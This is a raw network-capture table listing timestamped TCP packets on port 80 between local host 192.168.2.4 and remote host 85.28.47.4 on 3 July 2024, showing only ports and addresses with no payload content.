Jul 3, 2024 23:59:06.298140049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298151970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298161030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298171043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298181057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298197031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298211098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298322916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298332930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298342943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298355103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298367977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298392057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298444986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298455954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298472881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298484087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298492908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298495054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298521042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298533916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298716068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298727036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298742056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298752069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298763037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298770905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298773050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298784971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298791885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298795938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298808098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.298816919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298827887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298845053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.298994064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299029112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299037933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299043894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299051046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299067020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299076080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299094915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299433947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299462080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299473047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299483061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299484015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299494028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299498081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299505949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299520016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299546003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299618006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299664974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299760103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299803019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.299894094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299905062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.299942970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.300024986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.300067902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.300141096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.300189018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.300271988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.300319910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.300389051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.300441980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.300522089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.300575018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.304939032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.304950953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.304965973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.304975986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305001974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305025101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305073977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305084944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305093050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305103064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305110931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305119991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305120945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305130959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305140018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305140972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305151939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305157900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305164099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305174112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305175066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305183887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305193901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305196047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305211067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305214882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305226088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305238008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305238008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305248022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305257082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305258036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305267096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305275917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305277109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305286884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305295944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305301905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305305958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305310965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305318117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305327892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305330992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305336952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305345058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305365086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305366993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305382013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305385113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305392981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305403948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305406094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305413961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305418968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305422068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305428982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305428982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305440903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305448055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305452108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305461884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305469990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305471897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305484056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305484056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305506945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305510044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.305522919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.305557013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391115904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391134024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391151905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391163111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391182899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391194105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391199112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391206980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391239882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391282082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391316891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391329050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391364098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391367912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391396999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391407967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391410112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391437054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391522884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391535044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391544104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391563892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391576052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391648054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391658068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391668081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391678095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391691923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391705036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391720057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391778946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391791105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391801119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391810894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391819000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391844988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.391928911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391940117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.391972065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392026901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392038107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392047882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392057896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392065048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392069101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392077923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392081022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392093897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392110109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392132998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392268896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392280102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392309904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392321110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392327070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392333031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392349958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392360926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392364025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392370939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392371893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392389059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392405987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392457008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392467976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392503977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392529011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392546892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392558098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392568111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392570019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392579079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392596960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392616034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392854929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392865896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392874956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392884970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392894983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392899036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392908096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.392919064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.392947912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393018007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393054962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393079996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393090963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393100023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393110037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393121004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393121004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393145084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393156052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393342972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393358946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393368959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393378019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393378973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393398046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393398046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393404961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393410921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393421888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393421888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393433094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393436909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393445969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393451929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393455982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393469095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393481016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393487930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393500090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393501043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393522024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393546104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393546104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393877029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393888950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393898010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.393923998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.393937111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394032001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394042969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394052029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394062996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394073009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394074917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394083977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394094944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394102097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394104958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394108057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394118071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394128084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394136906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394136906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394162893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394175053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394361019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394372940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394402981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394413948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394500017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394510984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394520998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394531012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394541025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394542933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394551039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394553900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394565105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394576073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394582987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394588947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394599915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394603014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394609928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394617081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394630909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394640923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.394646883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394665956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.394678116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395123005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395133972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395143032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395153999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395163059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395173073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395180941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395184994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395195961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395206928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395212889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395216942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395229101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395236015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395240068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395250082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395251036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395265102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395292044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395518064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395528078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395539045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395548105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.395569086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.395580053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485052109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485115051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485126019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485143900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485167980 CEST	80	49730	85.28.47.4	192.168.2.4
